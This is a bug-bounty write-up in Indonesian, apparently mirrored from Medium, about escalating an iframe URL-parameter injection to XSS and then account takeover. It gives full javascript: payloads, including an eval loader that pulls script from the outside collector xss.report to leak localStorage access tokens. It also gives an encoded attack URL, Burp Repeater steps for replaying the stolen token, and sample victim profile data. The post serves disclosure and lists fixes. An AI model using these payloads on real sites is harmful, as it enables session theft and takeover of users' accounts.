From iframe Injection to Account Takeover (Full Exploit Chain)
quality 9/10 · excellent
0 net
From iframe Injection to Account Takeover (Full Exploit Chain)🔥 | by 0xRedFox29 - Freedium
Milestone: 20GB Reached
We’ve reached 20GB of stored data — thank you for helping us grow!
Patreon
Ko-fi
Liberapay
Close
< Go to the original
From iframe Injection to Account Takeover (Full Exploit Chain)🔥
How can I escalate the impact of an iframe injection vulnerability to account takeover via XSS?
0xRedFox29
Follow
~4 min read
·
March 23, 2026 (Updated: March 23, 2026)
·
Free: Yes
Assalamualaikum bug hunter, di write ini saya menemukan celah iframe injection yang bisa dieskalasi ke XSS hingga menyebabkan Account Takeover.
Berikut gambar dibawah ini adalah penggunaan iframe pada suatu website untuk menampilkan suatu konten tanpa harus membuka website tersebut.
Penggunaan iframe untuk menampilkan konten
Dalam kasus temuan saya, website ini menggunakan iframe untuk menampilkan isi konten melalui parameter url (katakanlah /promo?type=voucher&target=https://evil.com) seperti dibawah ini yang bisa ubah menjadi halaman evil.com :
Setelah saya cek menggunakan clickjacker.io hasilnya:
sehingga website perlu membutuhkan perhatian seperti penggunaan CSP frame-ancestors: Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com
Kemudian memvalidasi parameter URL, penggunaan sandbox iframe untuk membatasi kemampuan script dan HttpOnly + Secure cookie supaya tidak bisa diambil via XSS
Dari temuan ini, saya coba eskalasi XSS dengan payload javascript:alert(document.cookie) dan boom!!! itu muncul pop up
Selanjutnya saya eskalasi ke Account Takeover dengan proof of concept:
Siapkan 2 akun untuk percobaan dengan login di browser yang berbeda [misalnya, akun A di microsoft edge dan akun B di chrome (milik burpsuite]
Daftar atau login ke https://xss.report/ lalu pilih navbar payload
Cari dan pilih payload yang sesuai pada step open redirect to xss yakni:javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss.report/c/username\'document.body.appendChild(a)')
Mulai buka burpsuite, lalu pada navbar pilih target dan klik open browser
Kunjungi website https://target.com/
login dengan akun yang sudah ada (akun A)
saat didalam halaman dashboard, akses link berikut https://vuln.target.com/promo?type=vouchercoupon&=javascript:eval(%27var%20a%3Ddocument.createElement(%5C%27script%5C%27);a.src%3D%5C%27https:%2F%2Fxss.report%2Fc%2Fusername%5C%27;document.body.appendChild(a)%27)
terlihat pada UI memang tidak menampilkan apapun alias blank putih namun terkirim ke xss.report dengan nama blank (menyesuaikan dengan respon yang di render dari xss.report/username
periksa log aktivitas pada xss report, terdapat access token dan device ID (milik akun A) pada localStorage yang diperlukan untuk account takeover
salin access token dan device id milik milik akun A dan simpan di notepad
di burpsuite, pada bagian sitemap pilih api.target.com (di langkah ini akun B sudah login dengan browser google chrome yang disediakan oleh burpsuite)
pilih dan buka folder V1 dan buka subfolder mobile dan pilih profile dan buka
pada langkah ini terdapat method POST (mengirim data) ke server pada saat login dan sistem menerjemahkan menjadi access token dan device id (untuk akun B) seperti dibawah ini
{"token":"fa6171e8-a30d-4099–9c1c-f19aa8058f79", "device_id":"cc4f64ec-48d0–4285–914d-8197d6e900dc"}
dikolom Request, klik garis 3 lalu pilih dan klik send to repeater
klik Repeater pada navbar, maka muncul data yang sama seperti pada langkah no 10
Ganti dan tempel access token dan device ID (dari akun B ke akun A) ini milik akun A
{"token":"e48a90ee-be09–4a59–8595-a5eac505b449", "device_id":"7cf6ffa3–064c-432d-9d0c-a0c2da1ae145"}
Klik tombol send
copy lalu paste di new tab
Bingoo, itu menampilkan detail data pada akun A di kolom Response
Kita sudah berhasil mengambil alih akun korban (akun A) tanpa password.
gambar untuk step 8 dan 9
isi data victim {
"id_user": 3564463,
"user_fullname": "John Doe",
"user_firstname": "John",
"user_lastname": "Doe",
"user_skype": null,
"user_active_call": "default",
"user_interest": "2",
"user_gender": Male,
"user_birthdate": 1974-04-01,
"user_country": 96,
"user_phone_alt": 081212712030,
"user_picture": "no_image_genderless.png",
"user_timezone": "UP7",
"user_lang": 3,
"user_city": Bandung, West Java,
"register_date": "2025-07-27 20:30:57",
"active_date": null,
"user_status": "pasive",
"id_corporate": null,
"disabled": "n",
"register_tenant": "capable",
"activate_course": 2,
"password_upgraded": "Y",
"interest_study": {
"id_study": 2,
"study_name": "English",
"study_code": "EN"
}
}
Celah ini saya laporkan dan mendapatkan bounty untuk beli cilok, hehe
Sekian write up yang bisa saya bagikan, mohon maaf apabila ada kekurangan dan kekeliruan dalam penyampaian
Terimakasih
#XSSattack #AccountTakeover
#bug-bounty #bug-bounty-tips #bug-bounty-writeup #xss-vulnerability #account-takeover-attacks
Reporting a Problem
Sometimes we have problems displaying some Medium posts.
If you have a problem that some images aren't loading - try using VPN. Probably you have problem with
access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).